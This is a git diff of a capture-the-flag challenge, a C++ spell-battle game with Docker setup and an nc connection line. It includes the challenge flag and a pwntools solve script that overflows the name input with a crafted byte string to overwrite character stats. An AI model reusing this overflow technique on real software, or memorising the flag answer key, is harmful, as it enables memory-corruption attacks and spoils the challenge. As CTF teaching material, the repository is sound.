| @ -0,0 +1,53 @@ | |||||
| { | |||||
| "files.associations": { | |||||
| "chrono": "cpp", | |||||
| "array": "cpp", | |||||
| "atomic": "cpp", | |||||
| "*.tcc": "cpp", | |||||
| "cctype": "cpp", | |||||
| "clocale": "cpp", | |||||
| "cmath": "cpp", | |||||
| "cstdarg": "cpp", | |||||
| "cstddef": "cpp", | |||||
| "cstdint": "cpp", | |||||
| "cstdio": "cpp", | |||||
| "cstdlib": "cpp", | |||||
| "cstring": "cpp", | |||||
| "ctime": "cpp", | |||||
| "cwchar": "cpp", | |||||
| "cwctype": "cpp", | |||||
| "deque": "cpp", | |||||
| "unordered_map": "cpp", | |||||
| "vector": "cpp", | |||||
| "exception": "cpp", | |||||
| "algorithm": "cpp", | |||||
| "functional": "cpp", | |||||
| "iterator": "cpp", | |||||
| "map": "cpp", | |||||
| "memory": "cpp", | |||||
| "memory_resource": "cpp", | |||||
| "numeric": "cpp", | |||||
| "optional": "cpp", | |||||
| "random": "cpp", | |||||
| "ratio": "cpp", | |||||
| "string": "cpp", | |||||
| "string_view": "cpp", | |||||
| "system_error": "cpp", | |||||
| "tuple": "cpp", | |||||
| "type_traits": "cpp", | |||||
| "utility": "cpp", | |||||
| "fstream": "cpp", | |||||
| "initializer_list": "cpp", | |||||
| "iosfwd": "cpp", | |||||
| "iostream": "cpp", | |||||
| "istream": "cpp", | |||||
| "limits": "cpp", | |||||
| "new": "cpp", | |||||
| "ostream": "cpp", | |||||
| "sstream": "cpp", | |||||
| "stdexcept": "cpp", | |||||
| "streambuf": "cpp", | |||||
| "thread": "cpp", | |||||
| "typeinfo": "cpp" | |||||
| } | |||||
| } | |||||
| @ -1,2 +1,7 @@ | |||||
| # spell-warz-again-and-again | |||||
| # spell-warz-again | |||||
| Hello guys, there's an update to my last game<br> | |||||
| Now you can choose your own name! Cool isn't it :)<br> | |||||
| Also, I made the new Arch-Mage a little weak<br> | |||||
| please defeat him again!<br> | |||||
| `nc 103.200.7.150 30311` | |||||
| @ -0,0 +1,10 @@ | |||||
| version: "2" | |||||
| services: | |||||
| main: | |||||
| build: . | |||||
| container_name: "spell-warz-again" | |||||
| network_mode: "bridge" | |||||
| restart: on-failure | |||||
| ports: | |||||
| - "30311:12345" | |||||
| @ -1 +1 @@ | |||||
| slashroot{dummy} | |||||
| SlashRootCTF{h1dd3n_Sp3l1_f0r_a_h1dd3n_fl4g} | |||||
| @ -0,0 +1,9 @@ | |||||
| #include "lib/Spell.hpp" | |||||
| int main(int argc, char const *argv[]) | |||||
| { | |||||
| int i = 3; | |||||
| Spell spell = Spell("?", Element("Void"), Spell::NULL_TYPE, 0, 0); | |||||
| spell.getElement().getName() | |||||
| return 0; | |||||
| } | |||||
| @ -0,0 +1,60 @@ | |||||
| #include "Element.hpp" | |||||
| int Element::WEAK_COMPATIBILITY = -1; | |||||
| int Element::NEUTRAL_COMPATIBILITY = 0; | |||||
| int Element::STRONG_COMPATIBILITY = 1; | |||||
| Element::Element(std::string elementName, | |||||
| Element *elementWeakAgainst, | |||||
| Element *elementStrongAgainst) | |||||
| : name(elementName), | |||||
| weakAgainst(elementWeakAgainst), | |||||
| strongAgainst(elementStrongAgainst) | |||||
| { | |||||
| } | |||||
| std::string Element::getName() | |||||
| { | |||||
| return this->name; | |||||
| } | |||||
| void Element::setStrongAgainst(Element *element) | |||||
| { | |||||
| this->strongAgainst = element; | |||||
| } | |||||
| void Element::setWeakAgainst(Element *element) | |||||
| { | |||||
| this->weakAgainst = element; | |||||
| } | |||||
| bool Element::isStrongAgainst(Element *element) | |||||
| { | |||||
| return this->strongAgainst == element; | |||||
| } | |||||
| bool Element::isWeakAgainst(Element *element) | |||||
| { | |||||
| return this->weakAgainst == element; | |||||
| } | |||||
| int Element::compatibilityAgainst(Element *element) | |||||
| { | |||||
| if (this->isStrongAgainst(element)) | |||||
| { | |||||
| return Element::STRONG_COMPATIBILITY; | |||||
| } | |||||
| else if (this->isWeakAgainst(element)) | |||||
| { | |||||
| return Element::WEAK_COMPATIBILITY; | |||||
| } | |||||
| else | |||||
| { | |||||
| return Element::NEUTRAL_COMPATIBILITY; | |||||
| } | |||||
| } | |||||
| bool Element::operator<(Element &element) | |||||
| { | |||||
| return this->name < element.name; | |||||
| } | |||||
| @ -0,0 +1,30 @@ | |||||
| #ifndef SPELL_WARZ_ELEMENT_HPP | |||||
| #define SPELL_WARZ_ELEMENT_HPP 1 | |||||
| #include <string> | |||||
| class Element | |||||
| { | |||||
| protected: | |||||
| std::string name; | |||||
| Element *strongAgainst; | |||||
| Element *weakAgainst; | |||||
| public: | |||||
| static int WEAK_COMPATIBILITY; | |||||
| static int NEUTRAL_COMPATIBILITY; | |||||
| static int STRONG_COMPATIBILITY; | |||||
| Element(std::string elementName, | |||||
| Element *elementWeakAgainst = nullptr, | |||||
| Element *elementStrongAgainst = nullptr); | |||||
| std::string getName(); | |||||
| void setStrongAgainst(Element *element); | |||||
| void setWeakAgainst(Element *element); | |||||
| bool isStrongAgainst(Element *element); | |||||
| bool isWeakAgainst(Element *element); | |||||
| int compatibilityAgainst(Element *element); | |||||
| bool operator<(Element &rhs); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,101 @@ | |||||
| #include "Game.hpp" | |||||
| std::map<std::string, Element> Game::Elements; | |||||
| std::map<Element, std::vector<Spell>> Game::SpellBook; | |||||
| std::vector<Character> Game::PlayerParty; | |||||
| bool Game::isPartyAlive(std::vector<Character> &party) | |||||
| { | |||||
| std::vector<Character>::iterator it; | |||||
| for (it = party.begin(); it != party.end(); ++it) | |||||
| { | |||||
| if (it->isAlive()) | |||||
| { | |||||
| return true; | |||||
| } | |||||
| } | |||||
| return false; | |||||
| } | |||||
| void Game::init() | |||||
| { | |||||
| /* initialise elements */ | |||||
| Game::Elements["Fire"] = Element("Fire"); | |||||
| Game::Elements["Water"] = Element("Water"); | |||||
| Game::Elements["Wind"] = Element("Wind"); | |||||
| Game::Elements["Earth"] = Element("Earth"); | |||||
| Game::Elements["Holy"] = Element("Holy"); | |||||
| Game::Elements["Dark"] = Element("Dark"); | |||||
| Game::Elements["Void"] = Element("Void"); | |||||
| Game::Elements["Fire"].setStrongAgainst(&Game::Elements["Earth"]); | |||||
| Game::Elements["Fire"].setWeakAgainst(&Game::Elements["Water"]); | |||||
| Game::Elements["Water"].setStrongAgainst(&Game::Elements["Fire"]); | |||||
| Game::Elements["Water"].setWeakAgainst(&Game::Elements["Wind"]); | |||||
| Game::Elements["Wind"].setStrongAgainst(&Game::Elements["Water"]); | |||||
| Game::Elements["Wind"].setWeakAgainst(&Game::Elements["Earth"]); | |||||
| Game::Elements["Earth"].setStrongAgainst(&Game::Elements["Wind"]); | |||||
| Game::Elements["Earth"].setWeakAgainst(&Game::Elements["Fire"]); | |||||
| Game::Elements["Holy"].setStrongAgainst(&Game::Elements["Dark"]); | |||||
| Game::Elements["Holy"].setWeakAgainst(&Game::Elements["Dark"]); | |||||
| Game::Elements["Dark"].setStrongAgainst(&Game::Elements["Holy"]); | |||||
| Game::Elements["Dark"].setWeakAgainst(&Game::Elements["Holy"]); | |||||
| /* initialise spell book */ | |||||
| SpellBook[Game::Elements["Fire"]] = { | |||||
| Spell("Fire Bolt", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 10, 5), | |||||
| Spell("Warm Touch", &Game::Elements["Fire"], Spell::TYPE_RESTORATION, 10, 10), | |||||
| Spell("Flame Javelin", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 25, 15), | |||||
| Spell("Flaming Rocket", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 50, 20), | |||||
| Spell("Sun's Strike", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 100, 25), | |||||
| Spell("Big Bang", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 200, 30)}; | |||||
| SpellBook[Game::Elements["Water"]] = { | |||||
| Spell("Water Splash", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 10, 5), | |||||
| Spell("Healing Water", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 10, 10), | |||||
| Spell("Jet Stream", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 25, 15), | |||||
| Spell("Rain of Healing", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 25, 20), | |||||
| Spell("Whirlpool", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 50, 25), | |||||
| Spell("Tsunami", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 100, 30), | |||||
| }; | |||||
| SpellBook[Game::Elements["Wind"]] = { | |||||
| Spell("Breath of Wind", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 10, 5), | |||||
| Spell("Wind of Restoration", &Game::Elements["Wind"], Spell::TYPE_RESTORATION, 10, 10), | |||||
| Spell("Air Needle", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 25, 15), | |||||
| Spell("Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 50, 20), | |||||
| Spell("Twin Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 100, 25), | |||||
| Spell("Triple Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 200, 30), | |||||
| }; | |||||
| SpellBook[Game::Elements["Earth"]] = { | |||||
| Spell("Rock Throw", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 10, 5), | |||||
| Spell("Earth Sheet", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 10, 10), | |||||
| Spell("Earth Split", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 25, 15), | |||||
| Spell("Crushed Earth", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 50, 20), | |||||
| Spell("Wall of Eden", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 50, 25), | |||||
| Spell("Earthquake", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 100, 30), | |||||
| }; | |||||
| SpellBook[Game::Elements["Holy"]] = { | |||||
| Spell("Holy Light", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 10, 5), | |||||
| Spell("Healing Light", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 25, 10), | |||||
| Spell("Light of Judgment", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 50, 15), | |||||
| Spell("Flame of Purgatory", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 100, 20), | |||||
| Spell("God's Protection", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 1000000000, 25), | |||||
| }; | |||||
| SpellBook[Game::Elements["Dark"]] = { | |||||
| Spell("Dark Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 10, 5), | |||||
| Spell("Hell's Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 25, 10), | |||||
| Spell("Hell's Inferno", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 50, 15), | |||||
| Spell("Eclipse", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 100, 20), | |||||
| Spell("Hell on Earth", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 200, 25), | |||||
| }; | |||||
| SpellBook[Game::Elements["Void"]] = { | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000000, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000000, 1), | |||||
| Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000000, 1), | |||||
| }; | |||||
| } | |||||
| @ -0,0 +1,22 @@ | |||||
| #ifndef SPELL_WARZ_GAME_HPP | |||||
| #define SPELL_WARZ_GAME_HPP 1 | |||||
| #include <map> | |||||
| #include <vector> | |||||
| #include "Element.hpp" | |||||
| #include "Spell.hpp" | |||||
| #include "Character.hpp" | |||||
| namespace Game | |||||
| { | |||||
| extern std::map<std::string, Element> Elements; | |||||
| extern std::map<Element, std::vector<Spell>> SpellBook; | |||||
| extern std::vector<Character> PlayerParty; | |||||
| void init(); | |||||
| bool isPartyAlive(std::vector<Character *> &party); | |||||
| } // namespace Game | |||||
| #endif | |||||
| @ -1,27 +1,32 @@ | |||||
| #ifndef SPELL_WARZ_SPELL_CPP | #ifndef SPELL_WARZ_SPELL_CPP | ||||
| #define SPELL_WARZ_SPELL_CPP 1 | #define SPELL_WARZ_SPELL_CPP 1 | ||||
| #include <vector> | |||||
| #include <string> | #include <string> | ||||
| #include "Element.hpp" | |||||
| class Spell | class Spell | ||||
| { | { | ||||
| protected: | protected: | ||||
| std::string name; | std::string name; | ||||
| Element *element; | |||||
| int type; | int type; | ||||
| int amount; | |||||
| int power; | |||||
| int cost; | int cost; | ||||
| public: | public: | ||||
| int TYPE_RESTORATION = 0; | |||||
| int TYPE_DESTRUCTION = 1; | |||||
| static std::vector<Spell> Book; | |||||
| static int TYPE_RESTORATION; | |||||
| static int TYPE_DESTRUCTION; | |||||
| Spell(std::string, int, int, int); | |||||
| Spell(std::string spellName, | |||||
| Element *spellElement, | |||||
| int spellType, | |||||
| int spellPower, | |||||
| int spellCost); | |||||
| int getType(); | int getType(); | ||||
| int getAmount(); | |||||
| int getPower(); | |||||
| int getCost(); | int getCost(); | ||||
| Element *getElement(); | |||||
| std::string getName(); | std::string getName(); | ||||
| }; | }; | ||||
| @ -0,0 +1,106 @@ | |||||
| #include <map> | |||||
| #include <vector> | |||||
| #include <fstream> | |||||
| #include "lib/Character.hpp" | |||||
| #include "lib/Spell.hpp" | |||||
| #include "lib/Element.hpp" | |||||
| #include "lib/BattleInterface.hpp" | |||||
| #include "lib/UserInterface.hpp" | |||||
| std::string loadFlag() | |||||
| { | |||||
| std::string flagString; | |||||
| std::ifstream flagFile("flag.txt"); | |||||
| flagFile >> flagString; | |||||
| flagFile.close(); | |||||
| return flagString; | |||||
| } | |||||
| int main() | |||||
| { | |||||
| std::map<std::string, Element *> Elements; | |||||
| std::map<Element *, std::vector<Spell *>> SpellBook; | |||||
| std::vector<Character *> PlayerParty; | |||||
| /* initialise elements */ | |||||
| Elements["Fire"] = new Element("Fire"); | |||||
| Elements["Water"] = new Element("Water"); | |||||
| Elements["Wind"] = new Element("Wind"); | |||||
| Elements["Earth"] = new Element("Earth"); | |||||
| Elements["Holy"] = new Element("Holy"); | |||||
| Elements["Dark"] = new Element("Dark"); | |||||
| Elements["Void"] = new Element("Void"); | |||||
| Elements["Fire"]->setStrongAgainst(Elements["Earth"]); | |||||
| Elements["Fire"]->setWeakAgainst(Elements["Water"]); | |||||
| Elements["Water"]->setStrongAgainst(Elements["Fire"]); | |||||
| Elements["Water"]->setWeakAgainst(Elements["Wind"]); | |||||
| Elements["Wind"]->setStrongAgainst(Elements["Water"]); | |||||
| Elements["Wind"]->setWeakAgainst(Elements["Earth"]); | |||||
| Elements["Earth"]->setStrongAgainst(Elements["Wind"]); | |||||
| Elements["Earth"]->setWeakAgainst(Elements["Fire"]); | |||||
| Elements["Holy"]->setStrongAgainst(Elements["Dark"]); | |||||
| Elements["Holy"]->setWeakAgainst(Elements["Dark"]); | |||||
| Elements["Dark"]->setStrongAgainst(Elements["Holy"]); | |||||
| Elements["Dark"]->setWeakAgainst(Elements["Holy"]); | |||||
| /* initialise spell book */ | |||||
| SpellBook[Elements["Fire"]] = { | |||||
| new Spell("Fire Bolt", Elements["Fire"], Spell::DESTRUCTION_TYPE, 10, 5), | |||||
| new Spell("Warm Touch", Elements["Fire"], Spell::RESTORATION_TYPE, 10, 10), | |||||
| new Spell("Flame Javelin", Elements["Fire"], Spell::DESTRUCTION_TYPE, 25, 15), | |||||
| new Spell("Flaming Rocket", Elements["Fire"], Spell::DESTRUCTION_TYPE, 50, 20), | |||||
| new Spell("Sun's Strike", Elements["Fire"], Spell::DESTRUCTION_TYPE, 100, 25), | |||||
| new Spell("Big Bang", Elements["Fire"], Spell::DESTRUCTION_TYPE, 200, 30)}; | |||||
| SpellBook[Elements["Water"]] = { | |||||
| new Spell("Water Splash", Elements["Water"], Spell::DESTRUCTION_TYPE, 10, 5), | |||||
| new Spell("Healing Water", Elements["Water"], Spell::RESTORATION_TYPE, 10, 10), | |||||
| new Spell("Jet Stream", Elements["Water"], Spell::DESTRUCTION_TYPE, 25, 15), | |||||
| new Spell("Rain of Healing", Elements["Water"], Spell::RESTORATION_TYPE, 25, 20), | |||||
| new Spell("Whirlpool", Elements["Water"], Spell::DESTRUCTION_TYPE, 50, 25), | |||||
| new Spell("Tsunami", Elements["Water"], Spell::DESTRUCTION_TYPE, 100, 30), | |||||
| }; | |||||
| SpellBook[Elements["Wind"]] = { | |||||
| new Spell("Breath of Wind", Elements["Wind"], Spell::DESTRUCTION_TYPE, 10, 5), | |||||
| new Spell("Wind of Restoration", Elements["Wind"], Spell::RESTORATION_TYPE, 10, 10), | |||||
| new Spell("Air Needle", Elements["Wind"], Spell::DESTRUCTION_TYPE, 25, 15), | |||||
| new Spell("Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 50, 20), | |||||
| new Spell("Twin Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 100, 25), | |||||
| new Spell("Triple Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 200, 30), | |||||
| }; | |||||
| SpellBook[Elements["Earth"]] = { | |||||
| new Spell("Rock Throw", Elements["Earth"], Spell::DESTRUCTION_TYPE, 10, 5), | |||||
| new Spell("Earth Sheet", Elements["Earth"], Spell::RESTORATION_TYPE, 10, 10), | |||||
| new Spell("Earth Split", Elements["Earth"], Spell::DESTRUCTION_TYPE, 25, 15), | |||||
| new Spell("Crushed Earth", Elements["Earth"], Spell::DESTRUCTION_TYPE, 50, 20), | |||||
| new Spell("Wall of Eden", Elements["Earth"], Spell::RESTORATION_TYPE, 50, 25), | |||||
| new Spell("Earthquake", Elements["Earth"], Spell::DESTRUCTION_TYPE, 100, 30), | |||||
| }; | |||||
| SpellBook[Elements["Holy"]] = { | |||||
| new Spell("Holy Light", Elements["Holy"], Spell::DESTRUCTION_TYPE, 10, 5), | |||||
| new Spell("Healing Light", Elements["Holy"], Spell::RESTORATION_TYPE, 25, 10), | |||||
| new Spell("Light of Judgment", Elements["Holy"], Spell::DESTRUCTION_TYPE, 50, 15), | |||||
| new Spell("Flame of Purgatory", Elements["Holy"], Spell::DESTRUCTION_TYPE, 100, 20), | |||||
| new Spell("God's Protection", Elements["Holy"], Spell::RESTORATION_TYPE, 1000000000, 25), | |||||
| }; | |||||
| SpellBook[Elements["Dark"]] = { | |||||
| new Spell("Dark Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 10, 5), | |||||
| new Spell("Hell's Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 25, 10), | |||||
| new Spell("Hell's Inferno", Elements["Dark"], Spell::DESTRUCTION_TYPE, 50, 15), | |||||
| new Spell("Eclipse", Elements["Dark"], Spell::DESTRUCTION_TYPE, 100, 20), | |||||
| new Spell("Hell on Earth", Elements["Dark"], Spell::DESTRUCTION_TYPE, 200, 25), | |||||
| }; | |||||
| SpellBook[Elements["Void"]] = { | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000000, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000000, 1), | |||||
| new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000000, 1), | |||||
| }; | |||||
| } | |||||
| @ -0,0 +1,18 @@ | |||||
| from pwn import * | |||||
| if __name__ == "__main__": | |||||
| p = process("./main") | |||||
| print p.recvuntil(">") | |||||
| p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||||
| print p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("2") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("4") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| for i in xrange(99): | |||||
| print p.recvuntil(">") | |||||
| p.sendline("9") | |||||
| p.interactive() | |||||
| @ -0,0 +1,12 @@ | |||||
| #include <iostream> | |||||
| #include "lib/Game.hpp" | |||||
| #include "lib/Character.hpp" | |||||
| int main(int argc, char const *argv[]) | |||||
| { | |||||
| Game::init(); | |||||
| Character player = Character("Myitinos", &Game::Elements["Fire"]); | |||||
| std::cout << Game::SpellBook[player.getAffinity()].at(0).getName() << std::endl; | |||||
| return 0; | |||||
| } | |||||